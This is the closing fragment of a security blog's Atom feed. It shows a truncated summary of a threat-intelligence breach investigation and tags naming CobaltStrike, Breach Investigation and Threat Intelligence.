    <summary type="html">&lt;p&gt;Using a custom threat intelligence framework that I built, I identified that there was a small window of time, 6 minutes 32 seconds, in w</summary>
      
    
    
    
    
    <category term="CobaltStrike" scheme="https://blindcyber.gitlab.io/tags/CobaltStrike/"/>
    
    <category term="Breach Investigation" scheme="https://blindcyber.gitlab.io/tags/Breach-Investigation/"/>
    
    <category term="Threat Intelligence" scheme="https://blindcyber.gitlab.io/tags/Threat-Intelligence/"/>
    
  </entry>
  
</feed>
